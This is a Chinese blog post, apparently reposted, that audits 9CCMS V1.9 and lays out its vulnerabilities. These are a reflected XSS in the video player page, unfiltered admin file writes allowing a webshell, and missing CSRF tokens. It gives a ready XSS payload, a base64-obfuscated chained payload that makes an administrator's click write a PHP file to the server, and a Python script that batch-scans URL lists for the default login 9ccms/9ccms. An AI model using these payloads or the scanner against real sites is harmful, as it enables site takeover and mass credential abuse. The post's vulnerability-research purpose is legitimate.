偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章 兴起去找来源码看看,下载源码
审计了下有下面这些洞
在文件static/home/videojs/index.php
中有
<script type="text/javascript">
var vPath = '<?php include('../../../Php/Public/Helper.php'); echo safeRequest($_GET['Play']);?>';
var logo = '';
var myVideo=initVideo({
id:'myVideo',
url:vPath,
ad:{
pre:{
url:'',
link:'',
},
},
logo:{
url:'logo.png',
width:'100px'
},
});
</script>
跟踪saferequest
<?php
function safeRequest($data){
$data = stripslashes($data); // 刪除反斜杠
$data = htmlspecialchars($data); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
return $data;
}
?>
发现只处理了反斜杠和尖括号 但是它已经在script标签中 所以只要阶段标签就会触发XSS
?Play=%27;alert(document.cookie);%27
在php/admin/home/ad/adjs.php
文件中有:
<?php
$postAdJs = $_POST['AdJs'];
if (isset($_POST['submit']) && isset($postAdJs)) {
$file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w");
fwrite($file,$postAdJs);
fclose($file);
?>
未对传递进来的数据进行过滤
并且直接写到了/JCSQL/Admin/Ad/AdminAdJs.php
文件中
可直接getshell
不过无法执行命令 要用蚁剑插件绕过
在php/admin/home/security/userpass.php
文件中有:
<?php
if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password']) && isset($_POST['ippass']) ) {
function post_input($data){
$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}
$username = post_input($_POST["username"]);
$password = post_input($_POST["password"]);
$ippass = post_input($_POST["ippass"]);
$str = '';
$str .= '<?php';
$str .= "n";
$str .= '//后台密码';
$str .= "n";
$str .= 'define('USERNAME', ''.$username.'');';
$str .= "n";
$str .= 'define('PASSWORD', ''.$password.'');';
$str .= "n";
$str .= 'define('IPPASS', ''.$ippass.'');';
$str .= "n";
$str .= '?>';
$ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+');
fwrite($ff,$str);
?>
除了做了html实体编码和删除反斜杠以外,未作任何安全处理
直接写入/JCSQL/Admin/Security/AdminUser.php
文件中
这里也可以直接拿shell
后台所有请求都未添加CSRF token 那不就一个组合拳了
payload如下:
/static/home/videojs/index.php?Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8%2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs%3D'));'
管理员点击该链接可写入webshell
开头那篇文章的师傅的一个检测脚本
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import time
import requests
import os
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
class poc():
def title(self):
print(''' +-----------------------------------------------------------------+ 漏洞名称:9CCCMS 弱口令 功能:单个检测,批量检测 单个检测:python poc.py -u url 批量检测:python poc.py -f 1.txt +-----------------------------------------------------------------+ ''')
def poc(self, target_ur):
url = f'{target_ur}/adminx/'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
try:
res = requests.get(url=url, headers=headers,verify=False,timeout=10)
return res
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def main(self, target_url, file):
self.title()
count=0
if target_url:
res=self.poc(target_url)
if res.status_code==200 and "当前使用的是默认账号" in res.text:
print(f'\033[31m[+] {target_url} 存在弱口令:9ccms/9ccms \033[0m')
if file:
for url in file:
count += 1
target_url = url.replace('\n', '') #取消换行符
#time.sleep(1)
res=self.poc(target_url)
try:
if res.status_code==200 and "当前使用的是默认账号" in res.text:
print(f'\033[31m[{count}] 响应值为200,{target_url} 存在弱口令:9ccms/9ccms\033[0m')
else:
print(f'[{count}] 响应值为{res.status_code},{target_url} 不存在弱口令')
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")
parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")
args = parser.parse_args()
run = poc()
run.main(args.url, args.file)
后台都是洞啊
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/180200.html原文链接:https://javaforall.cn